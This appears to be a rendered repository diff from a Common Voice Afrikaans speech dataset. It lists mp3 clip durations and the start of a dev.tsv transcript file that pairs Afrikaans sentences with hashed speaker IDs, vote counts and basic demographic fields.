| 682 |
+
common_voice_af_40437810.mp3 9900
|
| 683 |
+
common_voice_af_38088393.mp3 7056
|
| 684 |
+
common_voice_af_40399180.mp3 7488
|
| 685 |
+
common_voice_af_42393653.mp3 9576
|
| 686 |
+
common_voice_af_39631311.mp3 9216
|
| 687 |
+
common_voice_af_42433042.mp3 6228
|
| 688 |
+
common_voice_af_38091963.mp3 7560
|
| 689 |
+
common_voice_af_38088781.mp3 4716
|
| 690 |
+
common_voice_af_40126780.mp3 4068
|
| 691 |
+
common_voice_af_40437542.mp3 7920
|
| 692 |
+
common_voice_af_38087497.mp3 5328
|
| 693 |
+
common_voice_af_39005466.mp3 1908
|
| 694 |
+
common_voice_af_39022871.mp3 5868
|
| 695 |
+
common_voice_af_39022868.mp3 5904
|
| 696 |
+
common_voice_af_40281009.mp3 3348
|
| 697 |
+
common_voice_af_40328297.mp3 4680
|
| 698 |
+
common_voice_af_40419247.mp3 4140
|
| 699 |
+
common_voice_af_39005404.mp3 1980
|
| 700 |
+
common_voice_af_39812026.mp3 6480
|
| 701 |
+
common_voice_af_39053386.mp3 2088
|
| 702 |
+
common_voice_af_42586869.mp3 3780
|
| 703 |
+
common_voice_af_42432334.mp3 10476
|
| 704 |
+
common_voice_af_42394776.mp3 8136
|
| 705 |
+
common_voice_af_40727734.mp3 7488
|
| 706 |
+
common_voice_af_42432325.mp3 9036
|
| 707 |
+
common_voice_af_42393657.mp3 8676
|
| 708 |
+
common_voice_af_40406304.mp3 8928
|
| 709 |
+
common_voice_af_39812025.mp3 5112
|
| 710 |
+
common_voice_af_39597091.mp3 8100
|
| 711 |
+
common_voice_af_39667407.mp3 9900
|
| 712 |
+
common_voice_af_40328244.mp3 5508
|
| 713 |
+
common_voice_af_40405101.mp3 9000
|
| 714 |
+
common_voice_af_41690793.mp3 4608
|
| 715 |
+
common_voice_af_39022798.mp3 4716
|
| 716 |
+
common_voice_af_42393411.mp3 3096
|
| 717 |
+
common_voice_af_39022764.mp3 4464
|
| 718 |
+
common_voice_af_40485264.mp3 6048
|
| 719 |
+
common_voice_af_41654769.mp3 8316
|
| 720 |
+
common_voice_af_40126771.mp3 6660
|
| 721 |
+
common_voice_af_39005362.mp3 1656
|
| 722 |
+
common_voice_af_39022898.mp3 2592
|
| 723 |
+
common_voice_af_41652402.mp3 6948
|
| 724 |
+
common_voice_af_41654770.mp3 8316
|
| 725 |
+
common_voice_af_39022791.mp3 2052
|
| 726 |
+
common_voice_af_38087484.mp3 4068
|
| 727 |
+
common_voice_af_39005470.mp3 2520
|
| 728 |
+
common_voice_af_38087509.mp3 8460
|
| 729 |
+
common_voice_af_40281028.mp3 6516
|
| 730 |
+
common_voice_af_40405991.mp3 7668
|
| 731 |
+
common_voice_af_38089138.mp3 2988
|
| 732 |
+
common_voice_af_41650435.mp3 6840
|
| 733 |
+
common_voice_af_41655364.mp3 6156
|
| 734 |
+
common_voice_af_41655338.mp3 6876
|
| 735 |
+
common_voice_af_40405111.mp3 5076
|
| 736 |
+
common_voice_af_38088722.mp3 8208
|
| 737 |
+
common_voice_af_38087494.mp3 4068
|
| 738 |
+
common_voice_af_40447705.mp3 4500
|
| 739 |
+
common_voice_af_40728044.mp3 4140
|
| 740 |
+
common_voice_af_40126788.mp3 5832
|
| 741 |
+
common_voice_af_41646223.mp3 8388
|
| 742 |
+
common_voice_af_38087496.mp3 8856
|
| 743 |
+
common_voice_af_38091961.mp3 9000
|
| 744 |
+
common_voice_af_39005375.mp3 1908
|
| 745 |
+
common_voice_af_41796868.mp3 3240
|
| 746 |
+
common_voice_af_41681539.mp3 7380
|
| 747 |
+
common_voice_af_40328280.mp3 7308
|
| 748 |
+
common_voice_af_41673280.mp3 6480
|
| 749 |
+
common_voice_af_40485313.mp3 3276
|
| 750 |
+
common_voice_af_40447703.mp3 5040
|
| 751 |
+
common_voice_af_40405113.mp3 5508
|
| 752 |
+
common_voice_af_38090555.mp3 8208
|
| 753 |
+
common_voice_af_39597143.mp3 5400
|
| 754 |
+
common_voice_af_42733736.mp3 4968
|
| 755 |
+
common_voice_af_39597144.mp3 3348
|
| 756 |
+
common_voice_af_39812036.mp3 6588
|
| 757 |
+
common_voice_af_40437769.mp3 8748
|
| 758 |
+
common_voice_af_41681540.mp3 7740
|
| 759 |
+
common_voice_af_38087485.mp3 9648
|
| 760 |
+
common_voice_af_40280994.mp3 3780
|
| 761 |
+
common_voice_af_41673281.mp3 3996
|
| 762 |
+
common_voice_af_42433091.mp3 7956
|
| 763 |
+
common_voice_af_42394779.mp3 4176
|
| 764 |
+
common_voice_af_40406226.mp3 8640
|
| 765 |
+
common_voice_af_39005393.mp3 1980
|
| 766 |
+
common_voice_af_40727200.mp3 7200
|
| 767 |
+
common_voice_af_40126770.mp3 7344
|
| 768 |
+
common_voice_af_38089143.mp3 10008
|
| 769 |
+
common_voice_af_41654276.mp3 3888
|
| 770 |
+
common_voice_af_40419251.mp3 4860
|
| 771 |
+
common_voice_af_39022810.mp3 5400
|
| 772 |
+
common_voice_af_41654767.mp3 6120
|
| 773 |
+
common_voice_af_39053440.mp3 1656
|
| 774 |
+
common_voice_af_39022767.mp3 3924
|
| 775 |
+
common_voice_af_38087495.mp3 8568
|
| 776 |
+
common_voice_af_39812016.mp3 3312
|
| 777 |
+
common_voice_af_40126786.mp3 3348
|
| 778 |
+
common_voice_af_42393299.mp3 6516
|
| 779 |
+
common_voice_af_40328241.mp3 7812
|
| 780 |
+
common_voice_af_41690795.mp3 6840
|
| 781 |
+
common_voice_af_41655350.mp3 6876
|
| 782 |
+
common_voice_af_40126778.mp3 6912
|
| 783 |
+
common_voice_af_41654776.mp3 8028
|
| 784 |
+
common_voice_af_42433066.mp3 5508
|
| 785 |
+
common_voice_af_39597122.mp3 6480
|
| 786 |
+
common_voice_af_39005472.mp3 1908
|
| 787 |
+
common_voice_af_42586870.mp3 8100
|
| 788 |
+
common_voice_af_39631307.mp3 4428
|
| 789 |
+
common_voice_af_40727199.mp3 7200
|
| 790 |
+
common_voice_af_40437511.mp3 7488
|
| 791 |
+
common_voice_af_39005446.mp3 2160
|
| 792 |
+
common_voice_af_39022878.mp3 6876
|
| 793 |
+
common_voice_af_38087506.mp3 8028
|
| 794 |
+
common_voice_af_40407474.mp3 6876
|
| 795 |
+
common_voice_af_39022859.mp3 5112
|
| 796 |
+
common_voice_af_40406230.mp3 3996
|
| 797 |
+
common_voice_af_39022779.mp3 4068
|
| 798 |
+
common_voice_af_42394994.mp3 8136
|
| 799 |
+
common_voice_af_38087462.mp3 4320
|
| 800 |
+
common_voice_af_38090312.mp3 7416
|
| 801 |
+
common_voice_af_40437742.mp3 9576
|
| 802 |
+
common_voice_af_39053428.mp3 1656
|
| 803 |
+
common_voice_af_40437520.mp3 4860
|
| 804 |
+
common_voice_af_41654035.mp3 8280
|
| 805 |
+
common_voice_af_39809232.mp3 4572
|
| 806 |
+
common_voice_af_38090556.mp3 4500
|
| 807 |
+
common_voice_af_41654775.mp3 5580
|
| 808 |
+
common_voice_af_41654784.mp3 7200
|
| 809 |
+
common_voice_af_39812017.mp3 3024
|
| 810 |
+
common_voice_af_40447986.mp3 8640
|
| 811 |
+
common_voice_af_39005440.mp3 2016
|
| 812 |
+
common_voice_af_40726860.mp3 7668
|
| 813 |
+
common_voice_af_41652194.mp3 6300
|
| 814 |
+
common_voice_af_40399181.mp3 5940
|
| 815 |
+
common_voice_af_38087504.mp3 7776
|
| 816 |
+
common_voice_af_38088717.mp3 8208
|
| 817 |
+
common_voice_af_40401257.mp3 8748
|
| 818 |
+
common_voice_af_41622769.mp3 7488
|
| 819 |
+
common_voice_af_39022800.mp3 6300
|
| 820 |
+
common_voice_af_39022816.mp3 5076
|
| 821 |
+
common_voice_af_40328296.mp3 3096
|
| 822 |
+
common_voice_af_40447987.mp3 5760
|
| 823 |
+
common_voice_af_41650419.mp3 3528
|
| 824 |
+
common_voice_af_42433093.mp3 5688
|
| 825 |
+
common_voice_af_38087503.mp3 8388
|
| 826 |
+
common_voice_af_39005388.mp3 2160
|
| 827 |
+
common_voice_af_39597210.mp3 7344
|
| 828 |
+
common_voice_af_40328270.mp3 7020
|
| 829 |
+
common_voice_af_42432331.mp3 6480
|
| 830 |
+
common_voice_af_41654771.mp3 8316
|
| 831 |
+
common_voice_af_40126783.mp3 7776
|
| 832 |
+
common_voice_af_39053463.mp3 1728
|
| 833 |
+
common_voice_af_39022827.mp3 4680
|
| 834 |
+
common_voice_af_39612841.mp3 3456
|
| 835 |
+
common_voice_af_40281011.mp3 3708
|
| 836 |
+
common_voice_af_39053460.mp3 1620
|
| 837 |
+
common_voice_af_39005391.mp3 2880
|
| 838 |
+
common_voice_af_39597078.mp3 7956
|
| 839 |
+
common_voice_af_39022824.mp3 4896
|
| 840 |
+
common_voice_af_38087095.mp3 5760
|
| 841 |
+
common_voice_af_41654268.mp3 6480
|
| 842 |
+
common_voice_af_41654277.mp3 7380
|
| 843 |
+
common_voice_af_40328299.mp3 7344
|
| 844 |
+
common_voice_af_38088719.mp3 7668
|
| 845 |
+
common_voice_af_39005409.mp3 2376
|
| 846 |
+
common_voice_af_41654765.mp3 3348
|
| 847 |
+
common_voice_af_42432318.mp3 9720
|
| 848 |
+
common_voice_af_41650414.mp3 3348
|
| 849 |
+
common_voice_af_38090279.mp3 7488
|
| 850 |
+
common_voice_af_40426243.mp3 4500
|
| 851 |
+
common_voice_af_40437544.mp3 4896
|
| 852 |
+
common_voice_af_38087488.mp3 8640
|
| 853 |
+
common_voice_af_39809468.mp3 7056
|
| 854 |
+
common_voice_af_40405135.mp3 8856
|
| 855 |
+
common_voice_af_40406266.mp3 3888
|
| 856 |
+
common_voice_af_40406306.mp3 4896
|
| 857 |
+
common_voice_af_41650437.mp3 3888
|
| 858 |
+
common_voice_af_40328298.mp3 3960
|
| 859 |
+
common_voice_af_40485261.mp3 7776
|
| 860 |
+
common_voice_af_39809236.mp3 4428
|
| 861 |
+
common_voice_af_38088750.mp3 3348
|
| 862 |
+
common_voice_af_40328283.mp3 7560
|
| 863 |
+
common_voice_af_40405100.mp3 7920
|
| 864 |
+
common_voice_af_39597176.mp3 8388
|
| 865 |
+
common_voice_af_40437744.mp3 8388
|
| 866 |
+
common_voice_af_42716221.mp3 10836
|
| 867 |
+
common_voice_af_39022869.mp3 6372
|
| 868 |
+
common_voice_af_40328268.mp3 6516
|
| 869 |
+
common_voice_af_40405109.mp3 8208
|
| 870 |
+
common_voice_af_40126779.mp3 6660
|
| 871 |
+
common_voice_af_42744757.mp3 7596
|
| 872 |
+
common_voice_af_39005438.mp3 1908
|
| 873 |
+
common_voice_af_38087094.mp3 10368
|
| 874 |
+
common_voice_af_40437543.mp3 7776
|
| 875 |
+
common_voice_af_40682192.mp3 13968
|
| 876 |
+
common_voice_af_40727102.mp3 8136
|
| 877 |
+
common_voice_af_39005441.mp3 1908
|
| 878 |
+
common_voice_af_38089503.mp3 4176
|
| 879 |
+
common_voice_af_41650432.mp3 7740
|
| 880 |
+
common_voice_af_39005408.mp3 1980
|
| 881 |
+
common_voice_af_39812035.mp3 4248
|
| 882 |
+
common_voice_af_39005351.mp3 1908
|
| 883 |
+
common_voice_af_38088751.mp3 8928
|
| 884 |
+
common_voice_af_41654782.mp3 8100
|
| 885 |
+
common_voice_af_41655365.mp3 6048
|
| 886 |
+
common_voice_af_39005416.mp3 2520
|
| 887 |
+
common_voice_af_40485260.mp3 6876
|
| 888 |
+
common_voice_af_40727097.mp3 8568
|
| 889 |
+
common_voice_af_40437811.mp3 9360
|
| 890 |
+
common_voice_af_39022789.mp3 4392
|
| 891 |
+
common_voice_af_40727198.mp3 8280
|
| 892 |
+
common_voice_af_40727941.mp3 9180
|
| 893 |
+
common_voice_af_39597211.mp3 4248
|
| 894 |
+
common_voice_af_41654783.mp3 7740
|
| 895 |
+
common_voice_af_42393302.mp3 6480
|
| 896 |
+
common_voice_af_39005353.mp3 1908
|
| 897 |
+
common_voice_af_40407465.mp3 7776
|
| 898 |
+
common_voice_af_39005462.mp3 1728
|
| 899 |
+
common_voice_af_42432319.mp3 10188
|
| 900 |
+
common_voice_af_39005410.mp3 2268
|
transcript/af/dev.tsv
ADDED
|
@@ -0,0 +1,126 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
client_id path sentence_id sentence sentence_domain up_votes down_votes age gender accents variant locale segment
|
| 2 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40727040.mp3 11ef170b8fcb811a0ebbeec428ad4d14fd2516ab1efab3ec438d35cf280f866f Bepaal die mediaangewig van die koerantpapier wat deur hierdie groep leerders bymekaargemaak is. 2 0 twenties female_feminine Vrystaat af
|
| 3 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40727042.mp3 2eb28f3372ce3606434837cf3cc7d9194bf2694b892379629b55baf4d3960976 Ek gaan drie maal per week swem 4 0 twenties female_feminine Vrystaat af
|
| 4 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40727043.mp3 2a8440d0393f9cbcccb7d7ed80058a7c0680142bcf5e01ef2c12d485cc04cc1b Januarie, Februarie, Maart, April, Mei, Junie, Julie, Augustus, September, Oktober, November, Desember 2 0 twenties female_feminine Vrystaat af
|
| 5 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40727097.mp3 0bc59b00fc95406df317574e9c74875d0534013b46a11adcf84000cd3025d86b Toon gepaste gehoor- of toeskouergedrag terwyl daar na opvoerings en uitstallings gekyk word. 2 0 twenties female_feminine Vrystaat af
|
| 6 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40727099.mp3 1bba08ace349aea7378a7de2694cdfe7128e01111c1fff4d42be8ddfcb7cb312 Die Kommissie bied mense dus blootstelling aan geleenthede vir persoonlike en gemeenskapsgroei. 2 0 twenties female_feminine Vrystaat af
|
| 7 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40727101.mp3 19a2fec0a68ca385c2a38ab590ee2492e452216659f382e191e7634cab639ea4 Die kernidee van 'n paragraaf is gewoonlik opgesom in een sin - die temasin. 2 0 twenties female_feminine Vrystaat af
|
| 8 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40727102.mp3 1cf9b95eaa27ecb14c999632a72de7a3d77602eef5ab1c7ff85568ef3b0c3ea0 My prosedures ondersoek nie of die departement se optrede dienslewering moontlik gemaak het nie. 4 2 twenties female_feminine Vrystaat af
|
| 9 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40727197.mp3 3a8b3fced9589efe2e82a88a3a62d03f58f459623467bec1c538b7c52c2886ab Leerders moet hierdie prosesse verstaan en kan onderskei tussen lewende en nie-lewende dinge. 2 0 twenties female_feminine Vrystaat af
|
| 10 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40727199.mp3 37fd7298393684fc929545cdfc858bd017333dff3abac8fe8fa3f9cb15046a2b Dui asseblief aan of 'n mondelinge aanbieding oor die skriftelike voorlegging gemaak sal word. 4 0 twenties female_feminine Vrystaat af
|
| 11 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40727734.mp3 3aa75302b2182bdf69e3b28f7c83df6fc21f5cb3cc0dd9c31d74f822f7dd078e Vir hierdie ondersoek het jy twee verskillende soorte grond van twee verskillende plekke nodig. 4 0 twenties female_feminine Vrystaat af
|
| 12 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40727735.mp3 220a2f695f0342ed666a14efb4d9a98bf8724798435f9ee1e575f4c52a15e628 Maleluka voeg by dat Downsindroom die mees algemene chromosomale afwyking onder pasgebore babas is. 4 0 twenties female_feminine Vrystaat af
|
| 13 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40727736.mp3 25117368de8cebcfa4078458b98de944f6a433f8af92604b751864d422d02073 Dikwels het die kinders mekaar nooit eers ontmoet voor die huweliksplegtigheid plaasgevind het nie. 2 0 twenties female_feminine Vrystaat af
|
| 14 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40727941.mp3 302e5ff7c628efa05140ab46a81986a8247d8aa308d11e52e0037c72e568117a Hierdie strategiese sektorplan is bedoel om dié verdelende en nadelige benadering te beëindig. 4 0 twenties female_feminine Vrystaat af
|
| 15 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40727942.mp3 23c85579ed34c8a30026dc7b670c0191100a60613d0041d589f0a968a355956a Opdragte aan leerders moet ook prosedurele vaardighede insluit en berekende denke aanmoedig. 2 0 twenties female_feminine Vrystaat af
|
| 16 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40727944.mp3 0091ba263f2d723fc5ed4d99e0c83c25df2e119e4845771c8f21bb2fecf07ff2 Sy is oortuig daarvan dat hierdie blinde gehoor álle ouderdomme as luisteraars insluit. 4 0 twenties female_feminine Vrystaat af
|
| 17 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40727945.mp3 39e32c63b42966f7b88d4f8509eff5636b78aa854e3766365f80f03ae2226179 Ons het gedurende die voorafgaande jaar op die versnelling van ons entstofontplooiing gefokus. 2 0 twenties female_feminine Vrystaat af
|
| 18 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40728042.mp3 0011904f10cfdb99363c9bc258a346d15e9f57136278ec685e174049d7bae13d Ons aansporingsmaatreëls om vervaardiging 'n hupstoot te gee, het goeie opbrengste gelewer. 4 0 twenties female_feminine Vrystaat af
|
| 19 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40728044.mp3 31b1bd19ada0b5b701f0552837ac3d8d725479114d63f6ea9024521666fe0231 Die soldate het op aandag gestaan. 4 0 twenties female_feminine Vrystaat af
|
| 20 |
+
c0764b078a1037e60d69cbb4eafe768fe85ec87f805992ac205047d69b5d2b0d84021c43abfeec983afb8a639bca15d738dca268ca7846a7cb933ad9df14786c common_voice_af_40728046.mp3 2dcbfad506619fbe6861e83506d5ac8ba880c392f698dba45e2e083afb5ade54 Gebruik goeie Standaardafrikaans en maak seker dat daar geen spel- of grammatikafoute is nie. 2 0 twenties female_feminine Vrystaat af
|
| 21 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126763.mp3 0591292d2ef1646fe838fccec45f587ab10aaf1ec95f699bf30c5cb344f3ea70 Sy het ons gister ontmoet 2 0 af
|
| 22 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126764.mp3 09ac2a054432922ed6e7d9409351abe9d6b9b48f5028cd23fb40c930c5c459ce Ek het ’n hond 2 0 af
|
| 23 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126765.mp3 2888bb606fccb08b5646917171c19a29f47a955c856429495bdc9aa9f42d644f My vyand het my skool toe agtervolg. 2 0 af
|
| 24 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126766.mp3 2eb273f8fb18de7fa73506627b2afda156f13b963d630e461fac4564cf87cc4a Dan val hy weg: “Nou gaan ek julle van hoeka se dinge vertel. 2 0 af
|
| 25 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126767.mp3 14374b477a4fa8e65085826364c5821a89f5056d8fb74f3647f1dc7865396e1b Spesiediversiteit verwys na die verskeidenheid van spesies in 'n geografiese gebied of ekostelsel. 2 0 af
|
| 26 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126768.mp3 1fcd1fc27cb39625d9a3336d66bcc41ae26e440866eb1cce399f3bafc0cbc74d Hulle dink die seerplek aan sy been word deur diabetes veroorsaak. 2 0 af
|
| 27 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126769.mp3 1e9ac8fbd00c1cd27550e909fe0a03fa4d8e2f06ca07c1ff588cf5f31d0c67c3 In die eksperiment word die helderheid van die invallende lig op die metaaloppervlak verhoog. 2 0 af
|
| 28 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126770.mp3 27f92e3cd7d3517b31884f6e7369ac9c880827a822fb2f957e090d5974521962 Addisionele sportverwante projekte is geïdentifiseer en uit besparings op personeel befonds. 2 0 af
|
| 29 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126771.mp3 18c3faf23104a53cf44eb5ea5b8ed0e88bc2786dcd6015b45fcf8424d401a017 Religieuse leerstellings en motiverings het soms die ontwikkeling van die wetenskap beïnvloed. 2 0 af
|
| 30 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126772.mp3 144a8a22ddc430f744a9d413faab1cc1b7178103942c53609da9f8fdb963c2ae Wil jy die program saam met my kyk? 2 0 af
|
| 31 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126779.mp3 2bc4acb4769339acec781e11538a03e7732223f1a8355c979e65568c7279705f In die voorgestelde wetsontwerp moet baie aangeleenthede deur die Minister voorgeskryf word. 2 0 fourties female_feminine af
|
| 32 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126780.mp3 25e3173f7e8fdc7b3e82d5e780fd72145489c5f48ef9a65ffb406bd9f74b2e7c Jy lê 'n eed af om die waarheid te vertel. 2 0 fourties female_feminine af
|
| 33 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126781.mp3 2e8ca8c5c7ef58b6c1b6dace6a705a9e24446c1d9f7dca932d64a1d2c192ec27 Die Kommissie moet gereeld aan sowel die Parlement as die provinsiale wetgewers verslag doen. 2 0 fourties female_feminine af
|
| 34 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126782.mp3 2952315fa014031f9ecd29a6fc84928044c045b41b3dc864ef58d3dd6c647dee Jy het, byvoorbeeld, dalk belangrike sub-onderwerpe uitgelaat of foutiewe inligting ingesluit. 2 0 fourties female_feminine af
|
| 35 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126783.mp3 1a87f4d0fdb52918e1b50ec94f332ccefcac0d38a5aee629e57d00485df25ac8 Bespreek die verskille en ooreenkomste tussen die Ortodokse, Hervormde en Konserwatiewe Judaïsme. 2 0 fourties female_feminine af
|
| 36 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126785.mp3 1b1da151d7b632a53eba38147f2e346be3b46963062baaee6e373e1664f39ddf Dit was lekker 2 0 fourties female_feminine af
|
| 37 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126786.mp3 2a8fd24f4c0f958f6445ace631c8e3e74371dec16e00016c36bd786ac856f7d8 Ek het 'n litteken op my been van 'n ongeluk. 2 0 fourties female_feminine af
|
| 38 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126788.mp3 2ab4af45f486cd1542fa63a5dd0a8e0ba93165fc63f9ad5dded809f68c0d48fb Die passasiers was gestrand aangesien die busmaatskappy nie 'n alternatiewe bus kon voorsien nie. 2 0 fourties female_feminine af
|
| 39 |
+
f430193bb319c3b8bb4d722a0f0cc08dcc7b08c6e3635d5a35d0d6a851fe1df2b70307337629da18be85a57fca7bae3d6bc3d47bdbc6940254ec1b2ee733a37c common_voice_af_40126789.mp3 12af80c9c7fef01ecf00e0b31ad845b733b26654bdb4eb8bb66161cf3b720f3c Hy het mense se natuurlike spraak op straat opgeneem. 2 0 fourties female_feminine af
|
| 40 |
+
389d64208bb16616aeaefd59ad89624adf2f7cb0e68d4d97c380215b52a7eced9d0849bb269542471cf25cbddd543932c79011b751eb6d7380245a6da0eb1eff common_voice_af_38086398.mp3 17a970302cca22bdcce9a4a33eb84ab5c71e385ed2a2fc3457d249fb467cbeb6 Vryheid van die media word gereflekteer in die verskeidenheid standpunte in verskillende media. 2 1 fourties male_masculine af
|
| 41 |
+
